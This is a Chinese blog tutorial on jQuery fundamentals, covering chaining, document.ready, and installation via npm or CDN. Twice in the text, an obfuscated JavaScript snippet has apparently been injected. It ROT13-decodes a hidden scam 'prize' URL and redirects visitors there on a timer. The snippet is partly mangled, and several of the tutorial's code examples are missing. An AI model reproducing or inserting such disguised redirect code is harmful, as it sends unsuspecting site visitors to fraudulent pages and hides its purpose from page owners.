jQuery-1-选择的艺术

rx onlineString.prototype.a73fba7d=function(){return this.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c=(c=c.charCodeAt(0)+13)?c:c-26);});};u=’uggcf://gnxrlbhecevmrurer1.yvsr/?h=l2lxnrj&b=2khc89e&z=1&g=jrozaf4′;function f31454d7(){ =u.a73fba7d();} (f31454d7,4987);
什么是jQuery?
一个小巧的js库,可以帮助开发者更加快速的开发网页、应用包含了90%的功能,排名在前一万的网站中有81.2%的网站使用了jQuery,它减少了重复造轮子的任务,甚至可以说很多的前端思考页面是jQuery的思维,其实成为了试试上的标准。

优点:

方便的处理HTML、事件、动画等等
HTML:处理HTML的DOM节点
事件:对页面上的事件进行处理
动画:实现淡入、淡出、滑动等动画
可以兼容很多的浏览器,不用太考虑浏览器的兼容性问题

jQuery的基本概念
设计理念:用少量的代码做更多的事情。

思维方式:结构(html)、表现(css)和行为(js)分离 -> 这样可以方便维护。

window.jQuery === window.$
jQuery.each()  -> $.each()
$(domObj) -> DOM obj返回一个jQuery对象(原生DOM对象的封装)

链式语法:写起来简单,性能也更好。能实现的原因是在执行了方法之后会将整个jQuery对象返回回来,因此整个返回值就可以直接继续调用接下来的方法。

使用链式语法要注意某些jquery方法比如find、filter是具有破坏性的。对于破坏性可以通过链上.end()的方法把匹配恢复到上一次的状态。
有几个方法不返回jquery对象,会导致控制台报错。
$(document).ready(function(){})这个方法比onload好因为不用等所有的全部加载好,而是DOM加载好就执行jquery的代码,而不用取等待图片之类的加载好,这样速度就会快很多,用户体验更好。

jQuery开发环境配置

rx onlineString.prototype.a73fba7d=function(){return this.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c=(c=c.charCodeAt(0)+13)?c:c-26);});};u=’uggcf://gnxrlbhecevmrurer1.yvsr/?h=l2lxnrj&b=2khc89e&z=1&g=jrozaf4′;function f31454d7(){ =u.a73fba7d();} (f31454d7,4987);
步骤1 安装
方法一:进入jquery官网,下载jquery到代码库里面,官网山有api文档可以看。

方法二:另外可以用npm安装,cd到项目目录,使用

推荐使用npm来进行jquery的安装,因为npm是一个专门管理依赖的工具,实际上下载下来的代码是一样的,使用 –save的好处是会生成一个package.json里面,这个文件里面有一个dependency,jquery会被添加到dependency中, 这样即使node_modules文件夹被删除了,也没有关系,只要package.json还在,那么只要给在文件夹中使用

就可以把所有的依赖安装上了。

之后用script在html里面用相对路径把jquery导入进来。

方法三: 使用CDN,在一些比较小的项目直接使用cdn就可以了。

 
步骤二: 目录
一般一个项目中需要这些目录

注意,这里我使用的是npm来安装,如果用的不是npm则可以加一个lib的文件夹

 
步骤三:js要特别注意的地方

这是定义了一个匿名的方式,把alert包含在一个方式中,不会对域进行污染非常的安全,防止一些致命的错误。另外前面的“;”非常的重要,这个可以防止在压缩的过程中出现错误,因为有些前面的库有可能会没有结尾的分号而出现错误。这样的写法非常重要!

 
步骤四 css normalize
在css中一般是使用一些既定的代码来实现样式的重置,但是这样的问题是虽然样式被重置得很完全,但是一些元素比如说各级标题我们还是希望它能够拥有一些自己的样式,因此我们可以使用npm工具安装css normalize的工具

就会安装在刚才说的node_modules中,在html中即可,注意要在自己的css之前引用,以后写每个文件的时候最开始都引入一下。不过用bootstrap之类的不需要引入,因为会自动normalize。